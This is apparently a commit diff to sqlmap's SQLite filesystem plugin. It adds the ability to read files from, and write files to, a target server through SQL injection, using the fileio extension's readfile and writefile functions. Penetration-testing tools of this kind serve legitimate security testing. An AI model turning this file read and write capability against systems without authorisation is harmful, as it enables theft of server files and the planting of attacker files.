|
5 | 5 | See the file 'LICENSE' for copying permission |
6 | 6 | """ |
7 | 7 |
|
| 8 | +from lib.core.common import singleTimeWarnMessage |
| 9 | +from lib.core.data import kb |
| 10 | +from lib.core.data import logger |
| 11 | +from lib.core.decorators import cachedmethod |
| 12 | +from lib.core.enums import CHARSET_TYPE |
| 13 | +from lib.core.enums import EXPECTED |
| 14 | +from lib.core.enums import PLACE |
8 | 15 | from lib.core.exception import SqlmapUnsupportedFeatureException |
| 16 | +from lib.request import inject |
9 | 17 | from plugins.generic.filesystem import Filesystem as GenericFilesystem |
10 | 18 |
|
11 | 19 | class Filesystem(GenericFilesystem): |
12 | | - def readFile(self, remoteFile): |
13 | | - errMsg = "on SQLite it is not possible to read files" |
14 | | - raise SqlmapUnsupportedFeatureException(errMsg) |
| 20 | + @cachedmethod |
| 21 | + def _checkFunction(self, name): |
| 22 | + """ |
| 23 | + Checks for the presence of a specific SQL function inside the back-end |
| 24 | + DBMS (e.g. 'readfile'/'writefile' from the non-core 'fileio' extension, |
| 25 | + as the sqlite3 command line client has those built in, while the host |
| 26 | + application usually doesn't) |
| 27 | + """ |
15 | 28 |
|
16 | | - def writeFile(self, localFile, remoteFile, fileType=None, forceCheck=False): |
17 | | - errMsg = "on SQLite it is not possible to write files" |
18 | | - raise SqlmapUnsupportedFeatureException(errMsg) |
| 29 | + return inject.checkBooleanExpression("(SELECT COUNT(*) FROM pragma_function_list WHERE name='%s')>0" % name) |
| 30 | + |
| 31 | + def nonStackedReadFile(self, remoteFile): |
| 32 | + if not self._checkFunction("readfile"): |
| 33 | + errMsg = "on SQLite it is not possible to read files without " |
| 34 | + errMsg += "the 'fileio' extension function 'readfile' being " |
| 35 | + errMsg += "available inside the back-end DBMS" |
| 36 | + raise SqlmapUnsupportedFeatureException(errMsg) |
| 37 | + |
| 38 | + if not kb.bruteMode: |
| 39 | + infoMsg = "fetching file: '%s'" % remoteFile |
| 40 | + logger.info(infoMsg) |
| 41 | + |
| 42 | + return inject.getValue("HEX(readfile('%s'))" % remoteFile, charsetType=CHARSET_TYPE.HEXADECIMAL) |
| 43 | + |
| 44 | + def stackedReadFile(self, remoteFile): |
| 45 | + return self.nonStackedReadFile(remoteFile) |
| 46 | + |
| 47 | + def nonStackedWriteFile(self, localFile, remoteFile, fileType, forceCheck=False): |
| 48 | + if not self._checkFunction("writefile"): |
| 49 | + errMsg = "on SQLite it is not possible to write files without " |
| 50 | + errMsg += "the 'fileio' extension function 'writefile' being " |
| 51 | + errMsg += "available inside the back-end DBMS" |
| 52 | + raise SqlmapUnsupportedFeatureException(errMsg) |
| 53 | + |
| 54 | + logger.debug("encoding file to its hexadecimal string value") |
| 55 | + |
| 56 | + fcEncodedList = self.fileEncode(localFile, "hex", True) |
| 57 | + fcEncodedStr = fcEncodedList[0][2:] |
| 58 | + fcEncodedStrLen = len(fcEncodedStr) |
| 59 | + |
| 60 | + if kb.injection.place == PLACE.GET and fcEncodedStrLen > 8000: |
| 61 | + warnMsg = "the injection is on a GET parameter and the file " |
| 62 | + warnMsg += "to be written hexadecimal value is %d " % fcEncodedStrLen |
| 63 | + warnMsg += "bytes, this might cause errors in the file " |
| 64 | + warnMsg += "writing process" |
| 65 | + logger.warning(warnMsg) |
| 66 | + |
| 67 | + debugMsg = "exporting the %s file content to file '%s'" % (fileType, remoteFile) |
| 68 | + logger.debug(debugMsg) |
| 69 | + |
| 70 | + # Note: 'unhex' (SQLite >= 3.41.0) keeps the write binary-safe; the hex |
| 71 | + # string survives sqlmap's string escaping (it becomes CHAR(...) of the |
| 72 | + # ASCII hex digits, which 'unhex' decodes back to the original bytes) |
| 73 | + if self._checkFunction("unhex"): |
| 74 | + content = "unhex('%s')" % fcEncodedStr |
| 75 | + else: |
| 76 | + warnMsg = "back-end DBMS does not have the 'unhex' function " |
| 77 | + warnMsg += "(SQLite >= 3.41.0); the file will be written from a " |
| 78 | + warnMsg += "textual value and non-ASCII bytes may get corrupted" |
| 79 | + singleTimeWarnMessage(warnMsg) |
| 80 | + |
| 81 | + with open(localFile, "rb") as f: |
| 82 | + content = "'%s'" % f.read().decode("latin-1") |
| 83 | + |
| 84 | + inject.getValue("writefile('%s',%s)" % (remoteFile, content), expected=EXPECTED.INT, charsetType=CHARSET_TYPE.DIGITS) |
| 85 | + |
| 86 | + return self.askCheckWrittenFile(localFile, remoteFile, forceCheck) |
| 87 | + |
| 88 | + def stackedWriteFile(self, localFile, remoteFile, fileType, forceCheck=False): |
| 89 | + return self.nonStackedWriteFile(localFile, remoteFile, fileType, forceCheck) |
0 commit comments